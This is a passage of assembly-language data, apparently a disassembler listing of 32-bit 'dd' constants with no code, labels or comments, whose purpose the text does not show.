		dd 0BA2D12DAh, 2FC18514h, 2DBFDF97h, 26D7CF26h,	0A6F729DDh
		dd 7DC61FACh, 58CBF65Bh, 2697AC8Eh, 273962A2h, 0C44212A6h
		dd 545F1655h, 0EF5E97DEh, 0E48976E4h, 8C50728Ch, 7418C168h
		dd 0F051E410h, 26C26727h, 25CDA808h, 55E5F77h, 9ABF3018h
		dd 0CC880F78h, 4EA39CFEh, 5ACD7547h, 42D73500h,	0AA65F81Ah
		dd 718D88DEh, 7E2EEC46h, 0AE61B4D9h, 88776006h,	204BD6ACh
		dd 0FBF570B9h, 0FA8B9B0Eh, 0E0BD72E8h, 8E4E3488h, 0F095DEEDh
		dd 0DE29CDC3h, 3CD25AA1h, 0C33DBD40h, 47029BCBh, 0F02C1E0Ch
		dd 0A9AE8154h, 770088D0h, 72CC15BBh, 8D041E84h,	0F9DF7648h
		dd 1767F5E6h, 5AD0C0D2h, 0C5FF41CBh, 57EB569Ah,	0EB413324h
		dd 36409F99h, 213FD44h,	0A0678043h, 0B8A25A83h,	2E006DE8h
		dd 9EB40F3Ch, 62406E67h, 0F0800CFAh, 0F89ADE69h, 0BB0BA00Fh
		dd 0B2B3BDE0h, 0DE8D52ABh, 219303B3h, 85BA3CA6h, 29266D81h
		dd 13031994h, 851164DFh, 0F5FA0567h, 52BB4092h,	1720DBCCh
		dd 0F7E7C73Bh, 1209F580h, 0E852EAE4h, 3B86E6BFh, 0BD397B08h
		dd 6CCD0CB4h, 78E8804Bh, 971CA60Fh, 4E04220Eh, 0ECEA2621h
		dd 0DD2F4F10h, 55AB7B42h, 68B74678h, 0C9DE85CDh, 0DEE083F1h
		dd 0AF692A21h, 0C6B55793h, 9929823Dh, 3FE174DDh, 462CA2B7h
		dd 0C526B46Dh, 862A3788h, 4FFF4DF7h, 7E2C9B9Eh,	966B0E0Ah
		dd 608945Dh, 33CD6422h,	2E48766Dh, 702C6CB1h, 803F80A9h
		dd 6D448867h, 0B89EE9EAh, 89E9AF19h, 8ACB9416h,	0E1CB6D0Ch
		dd 0C7D90C3Fh, 0F42866A9h, 208EECECh, 2024AD33h, 5325B01Ah
		dd 0B6B8C84Eh, 82D25ACDh, 8F49353Eh, 642058C7h,	756375F7h
		dd 1552D848h, 0F755B159h, 0C70FF6E9h, 10F11154h, 7AC3D719h
		dd 0D7181D72h, 0AFA8932Fh, 0BA33738Bh, 1C196B6Bh, 1B2C465Ah
		dd 0D2261A66h, 0BFCA53F4h, 0FE704FCFh, 5937EE0Bh, 1C105A0Bh
		dd 99C550Ch, 0E7260C86h, 0F4E244C9h, 0B6D32DDCh, 69DA34D3h
		dd 0DEAF5BA2h, 2EC253DCh, 3E28CB8Fh, 1EA3E67Fh,	8CE981F2h
		dd 0EF46BB06h, 0E72CB075h, 0CDF147B4h, 10089F2Ah, 0F8AE9B53h
		dd 687EEC84h, 4B5DAE44h, 143F5AABh, 81EBE284h, 69445CC4h
		dd 0DB81EA64h, 7976BAD8h, 0AC380AF2h, 0DC07A85Eh, 90C5BE51h
		dd 835853ADh, 58E3FE3Ch, 0CA88B589h, 2BE32BF3h,	0F69CD05Fh
		dd 0F9F3B4D8h, 0AC734F2Ch, 5555C7DEh, 0E8B419EDh, 89A122EEh
		dd 0F378D122h, 834C96B9h, 56476711h, 2216F9D9h,	0D9BDE2D9h
		dd 29045E91h, 61EDE532h, 25B5844Bh, 606B720h, 0B2968F47h
		dd 351A1376h, 30B049C9h, 8851D4B0h, 0A62053BAh,	6F31471Fh
		dd 0ED303677h, 7C0CEC53h, 8765B12Bh, 8DBF431Eh,	8A58C9Ch
		dd 0E6AC4B73h, 882A5CF5h, 0BD39E91Ch, 661182F1h, 0A0BBEFDFh
		dd 0BC6AF23Ah, 584CA141h, 0B76531EEh, 63C55FE9h, 0F060C5A3h
		dd 3C3A29F9h, 600C4808h, 3DF41BD6h, 0D416D285h,	37144A98h
		dd 1B54F199h, 57AC7D94h, 0A0B75089h, 0BCA9F20Fh, 0C4DECAE7h
		dd 2EAC2B15h, 333EEBFCh, 0F36BC5D5h, 77CB3869h,	5781E55Eh
		dd 724D8E73h, 0F55F239Fh, 0D45C1C3Eh, 0E634064Eh, 4EE684Bh
		dd 16B5644Ch, 75D338Eh,	0B65F397Dh, 2330665Ch, 0E79365D1h
		dd 48043828h, 0F2B6C02Ah, 1A74F9h, 0A4762364h, 0A20FDF1Ch
		dd 48428371h, 0B43AB729h, 745ABFA3h, 1BB84B7h, 8A6AC887h
		dd 3A6DE00Ah, 5A70886Eh, 524996F9h, 0E69B8A53h,	3B1A42E9h
		dd 2BD1778Eh, 0FE2319B4h, 93206DF8h, 3CFC18AEh,	0B51FB443h
		dd 0C17E39E6h, 0C1FBDF1Eh, 80011156h, 0F1764874h, 2411B4E2h
		dd 0E12BA143h, 2D51006Ah, 1216CA94h, 0B209AA8Fh, 26CE5284h
		dd 18D830D9h, 0C69D42FCh, 0B72B96FFh, 0B3744F5Ah, 16C4AFA3h
		dd 48FC3DABh, 62BF0996h, 71F9ADA4h, 3B0C5BF5h, 7969E309h
		dd 2509E48Eh, 0CB4B8A30h, 0ADAA0164h, 0DD0DB41Bh, 4A3D61DCh
		dd 0E4D4D556h, 5C9984F4h, 0D919566h, 87D3AC8Ch,	541DD996h
		dd 40566BD5h, 0AD8FCBB8h, 0C6597552h, 0E5A43EDh, 0CE78EEB6h
		dd 6F649044h, 675509F1h, 6CFC6BCh, 56A7DA6Ch, 0D9891680h
		dd 966B7352h, 97917438h, 0CD67F02Bh, 0EC87A26h,	4973F4A0h
		dd 0CD0C5D3h, 4265B7E5h, 0E5BC382Dh, 0A60CCBEh,	742FACFEh
		dd 0F5392104h, 4BE7EF23h, 0FE0C534h, 4D1BBE72h,	0F3C52E2Dh
		dd 0E7F71D8Ah, 0CFFB7DF3h, 0B6271E0h, 0E230D9B4h, 0D9BA2DC0h
		dd 3AA9F2D8h, 6CC634BEh, 0E295A3A9h, 6718824Fh,	0A3AD6957h
		dd 90FBDC67h, 0CA2D1D33h, 0A074B558h, 11A45435h, 8BDE2920h
		dd 8D1616A9h, 860F72B6h, 0D2D94542h, 0BE4F4789h, 0CDDBFAB4h
		dd 6A8411EFh, 66BD5CB7h, 0D8EF1694h, 0B3569D39h, 0D79EDDB1h
		dd 95DDCFE6h, 0D92FE51Bh, 4456B147h, 3E48484Dh,	0C13066B8h
		dd 915097EDh, 657A4B0Ah, 4F893B9Bh, 0C16D8D63h,	56C966FDh
		dd 12C97CBFh, 68B94E74h, 5E35A20h, 0DE2F7918h, 0B4339D5Fh
		dd 0CF06B4E5h, 0E1D9BF9h, 8117A025h, 1C14FDEDh,	6ACC1D3Dh
		dd 0C54AC186h, 8257866Ah, 0CE049D08h, 0B2794A21h, 0FB3CFB95h
		dd 0C3DEAE81h, 0F9FCD975h, 6CD8363Dh, 35C6D7D6h, 957DB335h
		dd 85652B34h, 670C6C3Fh, 17809BEEh, 89A37EBh, 0C459D328h
		dd 4B551C20h, 0CA0AFFCh, 6CF7EA61h, 0A9113EADh,	9D7D0C81h
		dd 9D75B6B3h, 37832BE2h, 0BD18DB80h, 0FE9A5245h, 0D7AD9E9Bh
		dd 8ECFCE54h, 1F1738D2h, 0BCE4853Ch, 42F81A53h,	0EAB34201h
		dd 9A31A438h, 39335DDEh, 5D65279Bh, 3A68FAB1h, 468D8504h
		dd 198A7A08h, 1D0C86AFh, 0DA0559ADh, 8909B633h,	0CFA1E4DDh
		dd 0B45D7F36h, 0FDE87D45h, 9E81F0F6h, 0B0FA1BF1h, 1F2C1363h
		dd 82AA4CABh, 57C7471Bh, 0F247ABA5h, 6462DD36h,	5B8F29DBh
		dd 8C98AAC1h, 7F57820h,	0A6E296D5h, 0FDE6BF6Fh,	0AF6D96A4h
		dd 619DBAh, 0F23D1F30h,	0D01100B3h, 0FFE4CCF0h,	9F6B5E5Ah
		dd 55F2BD86h, 21CF9063h, 0A7C79B27h, 0E4CD97FCh, 2B30553Ah
		dd 38D0C092h, 0DD599A05h, 6AF676F2h, 31B8E83Ch,	0A874B481h
		dd 0D81FD6DDh, 8AA1680Ah, 93B6C2A2h, 0BBBE3BD2h, 14B63E8Bh
		dd 0ECA77378h, 0F7046BDBh, 28F3658Fh, 98C74E2Ch, 393EB422h
		dd 564D176Ch, 0F5C3D24Eh, 30035357h, 0EA6B2D4h,	4EC5FB63h
		dd 5B14A8CAh, 14E81B37h, 0F3652279h, 0D4454859h, 0F1DF9F5Ch
		dd 27FBB6C9h, 0B8B5332h, 0E71872B8h, 88C5F27Eh,	3646271Fh
		dd 0A9BB4969h, 0E95882B2h, 285A73B6h, 0BE181700h, 8837D136h
		dd 0CA49E7F8h, 47FE0FA1h, 26F2379Bh, 0D6661B47h, 0B93F9277h
		dd 5E5B8816h, 4057E610h, 0C56375Dh, 0CF374DB3h,	0EC84BFC9h
		dd 5A55DAFFh, 0D09BA144h, 39654B59h, 61FD6913h,	811A68E5h
		dd 924DD0D7h, 8ABB3D4Dh, 7D2C0180h, 5F656E0Eh, 1872C38Eh
		dd 98009DC0h, 44AFB4B4h, 0C4F6D6D4h, 528B5E05h,	0E480441Ah
		dd 0D8D0CAF9h, 805CA7DBh, 0C93BBCDFh, 1702C143h, 0BF32CC28h
		dd 76BD87B8h, 38B4D542h, 73EE090Ch, 0A92434FAh,	1A90376Dh
		dd 0FA425B2h, 2BC06029h, 587AB93Eh, 0F05D26DEh,	0CA835590h
		dd 3A8A64ACh, 0A44A1C64h, 5DE634E7h, 0D5451379h, 0A2562B90h
		dd 1E8400BFh, 11CDE317h, 0F41BBA36h, 92CBD45Bh,	0E78F07FFh
		dd 2B258CCh, 678C6ACAh,	0B41EBA9Dh, 0D377507Ah,	0FD07D818h
		dd 0E24B28B3h, 0DEDD48B7h, 0CBD93ECFh, 0D3AF46BDh, 0F26E14D0h
		dd 1146BEFEh, 9C807175h, 78554C78h, 0ECB71379h,	847AF5D9h
		dd 0B1761C2h, 0EFC393B7h, 0E20BB26Ah, 8CB72528h, 0E6EB1C6Bh
		dd 2F0101CFh, 0CF8B758Ah
		dd 0D680BFD2h, 34F82CDh, 97E74AE4h, 76503BFEh, 26CCEF4Ch
		dd 4F0B2657h, 0F4451F5Bh, 0BEC6EA44h, 6674F492h, 66B2110Eh
		dd 48B3B29Ch, 0AD0C4BC7h, 124F4492h, 590B10F2h,	0CCF46D3Bh
		dd 90A19B9Ch, 0FB4E8BB3h, 3248CBDDh, 0B1AF9FC6h, 3D26FF47h
		dd 66C16EAEh, 6A60F6B8h, 3DE6E691h, 4467831h, 3C877963h
		dd 9C638DB5h, 0A1D28FE3h, 2560F609h, 5FB52031h,	0F9E896B2h
		dd 0ABC82B5Ch, 1E140BB0h, 6FEC726Fh, 0B49C9B1h,	0E2BC3567h
		dd 0DF97B58Dh, 0CBB40B40h, 1F1F3328h, 30A8AAA6h, 6731FB85h
		dd 6BC2BAF2h, 3B47D596h, 0DAA57CD8h, 0C3B54098h, 4857B0AEh
		dd 372FAF7h, 0FB76BFA8h, 0B5071CAh, 66617E39h, 0F6C5470Fh
		dd 6EAD6517h, 9BD19EE9h, 981EB9E8h, 0AF092E5Bh,	3E43AFCh
		dd 460BA4D3h, 0B46B1D7Ch, 0E3A453BAh, 897C21A6h, 0FE23B597h
		dd 0EAD281FDh, 0AD876948h, 7E235A77h, 591AD25Dh, 0BBFAAF62h
		dd 4F1E60C9h, 0E897BF65h, 7C545A2Eh, 0E774E976h, 0FE9F8DFAh
		dd 0C2965780h, 0A0C6881Ch, 4A36C002h, 4B3E607Eh, 9326293Dh
		dd 0C896556h, 0C6F744EDh, 1143C9EDh, 656BB647h,	71CD93E8h
		dd 0B5EA6B47h, 218BC257h, 0B76024A9h, 3C5D9B4Ah, 0B9236E10h
		dd 76D65C2Fh, 50B5C1D0h, 78F1FC70h, 3E81AACFh, 26C49E1Bh
		dd 832495AEh, 0A504BF14h, 92FC1324h, 0D4FB3F98h, 719445CAh
		dd 6AA6AAC5h, 66AD615Eh, 393D36D4h, 7D0C60D3h, 86D268CEh
		dd 22C50D26h, 0D9790272h, 6C780E36h, 0A9C7F71Ch, 0F14A11AEh
		dd 0F8531B47h, 75C46B2Bh, 0D4666E5Eh, 0C1C1E2DDh, 4085A79h
		dd 3E3176F2h, 8DB5ADD4h, 73D50300h, 59F0F633h, 293B4A3Ah
		dd 0CB8CD638h, 1352D7F1h, 0D5A1ADABh, 344094C2h, 0A1932E10h
		dd 0F2298BBh, 1746F45Bh, 0B773EEA4h, 5F661417h,	91DB3D80h
		dd 0EE24AA00h, 0CF5EB01h, 7FD26D2Ah, 94CB5D34h,	124447B6h
		dd 0D67383B2h, 0F5C3ECFCh, 5004C0D1h, 89440AB9h, 251E1671h
		dd 92C23044h, 11FA0BE6h, 680496FAh, 0F0D32C52h,	54089F66h
		dd 7267F952h, 8A28A325h, 3430B235h, 0AAD63440h,	8A0BA938h
		dd 0BED551C0h, 0A8317250h, 5A78BC6Ch, 0ED54CDBAh, 39F3FBDh
		dd 37AEF2EDh, 0FDF04D9Ah, 3B8CFFDDh, 35C40DDCh,	0FC72A7CDh
		dd 811CCEADh, 4BC20416h, 50E7F836h, 0B7A5B2CCh,	0D306230h
		dd 24E3CC8Ch, 4E861A3Bh, 528AC41Eh, 3C7898E5h, 988FABAEh
		dd 6157E7D0h, 6A6D61FAh, 4A6FF60h, 0BBF58D11h, 84D8E6FCh
		dd 0EB1058F6h, 0A1CDB0D5h, 0B2796E86h, 1FB0335Dh, 9076E5BFh
		dd 61123381h, 0D4ADF9ADh, 568508CDh, 0A0751604h, 7CC15508h
		dd 9A8EF83Ah, 0D2E0163Ah, 4BCEA7A4h, 0F026CAA7h, 0BD71D745h
		dd 0D632C3C0h, 116C7E6Ah, 35433D06h, 89FFCA4Ah,	4AE6C58Dh
		dd 5FA53194h, 0D88FE95Eh, 846BE9DDh, 5A1FC9DBh,	0FFC18EF5h
		dd 0E41A390Ah, 0BB1850ACh, 778FFAA9h, 0F73E59D0h, 0F9609FCDh
		dd 9DA70103h, 6972EBB0h, 0FC9355Bh, 3714CFF1h, 0B03146AAh
		dd 772D7C82h, 77CD68E7h, 61D54CE1h, 0B750E679h,	4E1AECA0h
		dd 95442D93h, 42C02162h, 751782CCh, 0C629F58Fh,	222280F2h
		dd 7A311B70h, 2FACC33Ch, 607583C5h, 620E42E3h, 0DDCA11E2h
		dd 0BCD3A960h, 5EABFBE8h, 0EE93972h, 6CCEC1C7h,	0F1A55120h
		dd 0EF5150F9h, 0B160E903h, 0F9319521h, 0A8C1CC82h, 0FB42E2D2h
		dd 0DA502FF8h, 9552AC9Eh, 0A4682A4Fh, 349C6C95h, 0FD50C559h
		dd 0FF476B34h, 4A0BD4DEh, 0DFFCA631h, 10EFF319h, 0E1FFE37Fh
		dd 278EC142h, 48B5BA65h, 98725549h, 1FBC05C8h, 850058B8h
		dd 18DB980Ch, 0E81714B4h, 4E5030h, 2016DB84h, 0A674CAE7h
		dd 3B29DE0Ah, 9172A85h,	50EAD93Fh, 0C36AF93Fh, 6ADC435Ch
		dd 0F8508E1Bh, 6A70BB20h, 4FDFFAADh, 7C8961D3h,	0FBAFF879h
		dd 9B7DCE17h, 7A99B85h,	934299D4h, 8AD63CDBh, 76FF823Ah
		dd 97F0ACA1h, 0E02AD22Ch, 6189503Dh, 0E3E577A0h, 9ECA965Eh
		dd 2141219Dh, 0BA0654A3h, 225D58A7h, 40A5EBFAh,	4A1F17B4h
		dd 0F4309C89h, 2C877573h, 0B9A11AB9h, 0E130206Ch, 138AB869h
		dd 1F032A20h, 1D5CADFAh, 899068FFh, 70B39A66h, 667F77E2h
		dd 75F314F1h, 6F1593ECh, 3AE70AF3h, 0D0EF6A65h,	1EF09800h
		dd 7DBE01A1h, 131A98F0h, 61606DF9h, 466416B6h, 2C8564C7h
		dd 4C445112h, 487790ECh, 62286F8Bh, 24F716DDh, 2C2B755Ah
		dd 54BFAAB4h, 620AD1EAh, 0E71242F0h, 3E102E0Fh,	0BF8DEC83h
		dd 7954240Eh, 880D0161h, 2D231C03h, 0DFC5B0ADh,	87295C13h
		dd 54CB107Ah, 62755FB1h, 0CB5D12A2h, 0BC4779B6h, 45AF4DCBh
		dd 181F4471h, 7B4491E6h, 0E961970Dh, 0E737A8Dh,	5EE4D092h
		dd 6BB1835Dh, 0A3FEF7DAh, 0F34603B7h, 53C5AE6Ch, 4E9814EBh
		dd 30CA0D28h, 1E045AF5h, 89C7D8D2h, 233DAB2Fh, 85EB4E12h
		dd 1AE8BE9Ch, 0A90FF08Fh, 77A76190h, 529EE3BBh,	5CAF8E70h
		dd 0BBF208DBh, 11465387h, 2DF48852h, 92A9F001h,	60C6715Dh
		dd 28A536Eh, 66F219F5h,	0D8718EC5h, 9B3F139Bh, 1670D216h
		dd 5FF7EE6Dh, 11F7B425h, 0AB3DA87Eh, 2002662Dh,	6CBA7418h
		dd 0B24B0A84h, 3296F9E0h, 6197149Dh, 0F2B643EFh, 0EDFE47AEh
		dd 3A21C714h, 0E4498544h, 82549F7Fh, 7BC2167Eh,	0D77FB415h
		dd 0DD8A3843h, 0D742AFBEh, 0C6945085h, 0EC2C5066h, 19BB0A6Ah
		dd 3168A3DBh, 8374569h,	0BE489D0Ah, 0CE4A2446h,	30416FA6h
		dd 0CD9122DBh, 18A4A66Dh, 0BF2578A6h, 5B89C2D2h, 0C9A8E887h
		dd 17785D11h, 0BCBFA443h, 61F8B27Eh, 0B32D03C5h, 863928A3h
		dd 6B28E857h, 0A2C93A0Eh, 0D24896C8h, 8B639142h, 0D7C4EBB6h
		dd 92EAEA9Fh, 0BECCE65h, 736C9593h, 0A4C4AF93h,	0CE576D3Dh
		dd 7A697B46h, 5165EDB2h, 89E6976Ch, 0B9E11E10h,	41F21DA5h
		dd 3D4DE353h, 20ED0EC9h, 0F86CEFCh, 1DB76727h, 2F8BE734h
		dd 5F374011h, 0AFC01A24h, 0EDD5AFECh, 0F8A73A1Fh, 64681540h
		dd 0D8CA9804h, 0C029C1F7h, 0CF7C6409h, 0DE98E644h, 346CA17Fh
		dd 953227F6h, 0E95A954Bh, 2C73E1CCh, 38F99B36h,	15CDD83Dh
		dd 7950DADFh, 4D88F76Eh, 33899FBFh, 0B26DEAh, 7D328E56h
		dd 75D662C0h, 1612B6AEh, 0C3BE428Eh, 1DDCE484h,	0AAEE7156h
		dd 9BE795F0h, 821F6497h, 0B7E429AAh, 95CB07C9h,	233DE135h
		dd 0D6FCC14Dh, 4C739580h, 0A13265CFh, 0A07F0CF0h, 4D47D632h
		dd 0DB3AF674h, 98CBC702h, 8BAB744Bh, 0B6EBF82Eh, 0E4C8B952h
		dd 5177FBE3h, 0E2D50679h, 0B14843A9h, 0BD1F391Dh, 2EA7CEB7h
		dd 292B0D62h, 0C8D18663h, 0FE872BBBh, 527AE031h, 3E4DC18Fh
		dd 29D82B6Fh, 0C6F717FCh, 0FD7B07DEh, 0B2D3E63Dh, 1DCBAA5h
		dd 76178E0Fh, 399BE168h, 1A8C2EB8h, 9D4CB9A5h, 0E99906FFh
		dd 0E9A9B2Eh, 171B2BD9h, 2530F01Ch, 0C8804B2Eh,	601C91AFh
		dd 0A44E3864h, 177332AEh, 48C94995h, 0E6B44719h, 0BC4C92C5h
		dd 0B35BE0Eh, 0BD3C81FBh, 8DA1D8E4h, 0EF54301Eh, 867768EFh
		dd 0F20DD02Ah, 0C3222B2Fh, 0CCFF2A0Ah, 489EC6A3h, 7D0D73B1h
		dd 0F2754603h, 8197731Eh, 7E7937F0h, 0D195065Bh, 8DCB4CE2h
		dd 0A0CBAC99h, 49BE5E0h, 0EC56AB60h, 0AC635A93h, 41D8E7BEh
		dd 5E381C8Bh, 0ADEE136Fh, 726470E7h, 0C443BA22h, 82802B77h
		dd 5830DED2h, 53659DCh,	0B5CD36Eh, 0F5DBE926h, 30B72A97h
		dd 0FC689542h, 66B19919h, 6A9AE68Ah, 72B2056Dh,	7CA24FC4h
		dd 383E7830h, 3E48D4F3h, 87C1DBE8h, 6C61EAD2h, 0BAA4B709h
		dd 0FAE62AE9h, 5C40633Ch
		dd 13C08FCAh, 0D15B113Ah, 0A95DD272h, 68FD67CBh, 41AF809Eh
		dd 0C1645A69h, 0C03B02B5h, 0A88215BAh, 0C3BF50C3h, 0E8537E57h
		dd 4648FD9Ch, 0D44AD826h, 625B9CF4h, 3627E11Dh,	73C6F1E7h
		dd 0D6E5DAC4h, 0F099F7CDh, 10635A02h, 475B7E03h, 7A8D6119h
		dd 0B276C6BAh, 0E80FB6A1h, 4AD17778h, 0D86A979Ah, 0D6A5B7F2h
		dd 0B54B66BBh, 2EDECF40h, 767BF63Dh, 0A98A4813h, 0EE3283F2h
		dd 0FC88BBA5h, 2B12F1EFh, 298E8A96h, 831545CBh,	0ECB7870Bh
		dd 0CCD7CE75h, 30A7F68Dh, 0C9C8A25Ch, 3BA294D6h, 9EC5694Eh
		dd 4162E62Fh, 33095A4Dh, 285EB97Bh, 303FB589h, 7413972Fh
		dd 65910A7Dh, 0BAC17AA0h, 0F1CF75DDh, 5025F4E5h, 0BF2AC527h
		dd 0AC8021ABh, 0E1869C7Eh, 125F19CBh, 42953455h, 9B7CB9FCh
		dd 0DE6AAFA4h, 8DE3D1C2h, 0BD49548Ah, 9A0682ACh, 1D1A0F9Bh
		dd 627ABA4Ch, 14B2597Ch, 0EC4A91C9h, 0EF6C567Ch, 720D8C58h
		dd 62A94605h, 2470B758h, 6D2C194Fh, 8DA03512h, 0C864D1E8h
		dd 53BC2119h, 8A174DD4h, 9E49DD96h, 0A3FE3C8Ah,	2C2A3C32h
		dd 23C906BFh, 32AB2AC5h, 661D6D58h, 0E5396042h,	92DE2896h
		dd 0AE622DD1h, 0FA64A0EEh, 0C7F17C5h, 48442910h, 4BE7A7Dh
		dd 0A660D45Ah, 0CD74CC15h, 0AE433305h, 627CC07Fh, 0ED4AD1F3h
		dd 0E9A64474h, 556738AEh, 1EE2C99Ch, 0F16AF3ABh, 5AD1D7A1h
		dd 367CF69Fh, 732D9FC2h, 38EB8A84h, 0A7855280h,	0B8E7ED54h
		dd 39DB1A03h, 0E7306C90h, 535DC08Eh, 1E60A9AAh,	8BDA24E0h
		dd 0B9AE4C4Ah, 97F1F3C6h, 3BD6EBABh, 7D79FDD3h,	0ACD11C8Dh
		dd 0DC540463h, 2D31F71Eh, 63AB4AA5h, 8CBC8A9Fh,	0D0786366h
		dd 11662A63h, 0EC1F7EA9h, 345AD118h, 88178001h,	888817AFh
		dd 4113397h, 0C70E2Eh, 0D947D58Dh, 468CAAE1h, 0CBA38FB9h
		dd 9B4674F3h, 8782A105h, 0CFD2D0D1h, 1C069279h,	98429FDBh
		dd 0DA233D91h, 0B4402938h, 0F00B05C4h, 0B822AB1Eh, 60604C01h
		dd 0ED607B33h, 0BA17AD0Bh, 1CEBD5B7h, 0A22D24B7h, 7961175Ch
		dd 2EC8A229h, 43D39D4Fh, 71D4F42Ah, 643D293Fh, 4816717Bh
		dd 0EFC87F59h, 0CF24687Ah, 5267ABFBh, 6238A550h, 0F0C46AC8h
		dd 44F8EB29h, 0F8D91F08h, 0EFFFDA3Ch, 0C033CCFEh, 0DC509492h
		dd 0AD8127F5h, 271294BDh, 299A5DF9h, 87B157BDh,	0EF2F5098h
		dd 9AAAD89h, 0A750AF1h,	82EE6317h, 0A7DC37EDh, 0A0FFF956h
		dd 4EDD7C04h, 3724D594h, 0D2AE1086h, 0C3B37EB7h, 0E4A9CC1Fh
		dd 0CD6DF93Ch, 5E402005h, 0BDDDBB6Dh, 0F3FC1C37h, 0AAA2FC8Bh
		dd 8C7888B7h, 7D7BC8D6h, 0B6454C12h, 3C99B31Dh,	4447CD5Bh
		dd 71FBA68Fh, 5B382A65h, 0CF42FDB2h, 7CB4A1C2h,	90EB3369h
		dd 0D55CAB12h, 7DFAD74Bh, 52FDF95h, 5B02FC5Bh, 22D4545Eh
		dd 0CA52F6AAh, 0CB547F72h, 0B8BC7BD1h, 0F6455A33h, 4417D8E5h
		dd 0F69EFE9Ch, 0A7426F48h, 0A2033A5Dh, 412FF3C3h, 0CFE3B77Ch
		dd 0EBE38082h, 38CD0B23h, 88C8E09h, 64DF7D40h, 34C0AF19h
		dd 35DBBC54h, 246BB42Bh, 134CFE5Bh, 0DD3BE237h,	0C20DC476h
		dd 0C0655D9Bh, 0FBE18449h, 7B3A666h, 89452785h,	24E545FAh
		dd 3F433B11h, 1F01AEF2h, 1A0A464Eh, 28624A37h, 0FF284D14h
		dd 37010C0Eh, 939DCA64h, 544EF81Ah, 4A270096h, 54CC9C9Ah
		dd 2637062Dh, 1223B88Dh, 0E1ED9E37h, 0C5AE8FD4h, 0E64DEC02h
		dd 0A863658Eh, 0C33CF6A2h, 96F6D8DEh, 0D232246Ah, 0EB014E39h
		dd 0D19960FAh, 2738AC32h, 141B0AFEh, 0E5669699h, 0EDD86463h
		dd 8200E07Bh, 0E8E7A3E5h, 1ABB7317h, 0CF097B2h,	335494A3h
		dd 28EAA66h, 62EC5ABCh,	22472BEEh, 3F6F2C0Fh, 3AF35F2Ah
		dd 0EB6E8618h, 0EEAFBB1Dh, 0F7BE044Eh, 0FF19A5F1h, 0D84B6597h
		dd 13F72BD9h, 7763646Ch, 0A2A6F561h, 0EEF8153Bh, 1E1C0F87h
		dd 0CADBF2ADh, 82167B30h, 4DB13AB6h, 446B59h, 993CD2F5h
		dd 9B94C6F1h, 85083EE7h, 93A1B266h, 0EFCF7BAh, 0C24AF9C7h
		dd 0E4865B4h, 9542AF6h,	59F74C59h, 25A6CB00h, 0B232D7F1h
		dd 0C3A49055h, 8EA422Bh, 15F411A9h, 7B4852DCh, 0C7C5499Bh
		dd 9B808773h, 3EDAF76Fh, 0A59BC725h, 5309D8F6h,	234BEC3Fh
		dd 8793F836h, 73DDB22Ch, 0A15C332Eh, 0E5FB102Dh, 0F0B3D949h
		dd 1A2EFCF1h, 7A65371Bh, 0EDAB1A79h, 0C74C2B42h, 947A2202h
		dd 0C33A2E97h, 93EA9F2Fh, 0C945879Dh, 54CF00ECh, 0E61236E8h
		dd 8CDAE40Bh, 0E86B8B77h, 13DF13D4h, 0D4A48FECh, 0F864699Ch
		dd 0E7679299h, 38C2E694h, 0A15B8CE2h, 298A1A43h, 4E376100h
		dd 0CF9582C2h, 0C3ECE0C9h, 2AD48D80h, 8FEEE1h, 0E810A62Fh
		dd 8F540DDAh, 0B63135A2h, 0C2F139Bh, 0FD65DF94h, 3AE1E9Ch
		dd 0EA8F5054h, 0AF11ACC4h, 26DBD1E1h, 80A511BDh, 671B6A3Fh
		dd 332A4726h, 0A1882FA1h, 0D6673889h, 9707C92Ah, 145D4D9Ah
		dd 5E666377h, 0BF2324BEh, 5717F3CCh, 0B319D093h, 0CC6922AEh
		dd 0AB7E8EC2h, 9EDDE707h, 0A540866Fh, 0EA1EC3FBh, 6B9AAD03h
		dd 71370100h, 428599ADh, 5C1AF815h, 66A05CDEh, 0CBB94CFBh
		dd 0E7AC9FB8h, 2569AC1Eh, 0E114F33Eh, 0F8FD1604h, 0BB3C2B0Fh
		dd 8B975921h, 496B26C4h, 0C55284BCh, 9250D03Ah,	0E98C479Ch
		dd 799EB45Eh, 0FCD2014h, 3CE9F6A4h, 71A44C24h, 684A9C48h
		dd 0DC6B6AE5h, 162ED32Dh, 0C9720D42h, 8C11EF31h, 0CD4907E8h
		dd 70134F9Bh, 2E4F2234h, 0C6AFE8D4h, 0F7BCBB9h,	3F7086B4h
		dd 3BCFB9C0h, 0D69F7877h, 0F2BBABB1h, 0A85A8F2h, 0F7EE9C69h
		dd 0E048F3CCh, 836F357Ch, 0CE5DD917h, 6803649Eh, 56FDEFAAh
		dd 4738A127h, 44543945h, 491141F4h, 0F7CA7E3Ch,	0F25CA60h
		dd 97F9C2FAh, 2551BC6Ch, 45F2907Fh, 73A3F239h, 24ED4A1Bh
		dd 47BD791Ch, 0FB0A4E0h, 0DB09E5B3h, 3283266Eh,	85932889h
		dd 54403B61h, 0CDBD07AEh, 0E07D7326h, 77BC1105h, 0CDF5089Bh
		dd 83DF9F2Ch, 0CC976A4Fh, 0D7391044h, 0AE0DFF99h, 0A473BBE8h
		dd 17ECD45Fh, 83E92538h, 57DFBB37h, 0EDC3065Eh,	0A1975Bh
		dd 0A11EA29Eh, 3D041BCAh, 767CD56Eh, 0CF80BFDFh, 82EDC790h
		dd 4A1F4C3h, 9F658137h,	0ED4FE478h, 92B7B45Ah, 0A6F981E4h
		dd 7C9CA3C2h, 18AB5D12h, 52C2C272h, 3F5460FCh, 0F3E71F13h
		dd 0B119669Ah, 45207128h, 8B0B2469h, 9B33C292h,	724A6671h
		dd 5D040CC8h, 0ECE271F5h, 7CC18A07h, 6208C37Ch,	3510F8A1h
		dd 23592A01h, 0C823DFDDh, 3F8210F8h, 315B9580h,	0EA78A552h
		dd 2A5B0B2Fh, 0C25801DEh, 50A54FABh, 50B197F8h,	0E0B7E286h
		dd 57B9C179h, 0ECC96F2Eh, 6D4ED470h, 0D1982424h, 0B3FBD5CDh
		dd 7B1A56DCh, 0B4D2C7D3h, 0F64800DAh, 9009B4A7h, 6B46D030h
		dd 324B3C01h, 8F47CDEAh, 0D471C099h, 0E95EED8Ah, 61D4BE2Ah
		dd 4E1680C2h, 0CC8CDDF0h, 16A8277Bh, 0A38CE513h, 74029D06h
		dd 2AB4D0C6h, 27285D94h, 5B1DBD2Eh, 0FBD9A42h, 4B5E465Dh
		dd 5EAF2EB5h, 0D77C2971h, 9436586Eh, 0AA59B7FAh, 0FE1EFCABh
		dd 5BA1F27h, 68FBEDD3h,	0D2A24ACFh, 888A0343h, 0BF6842B4h
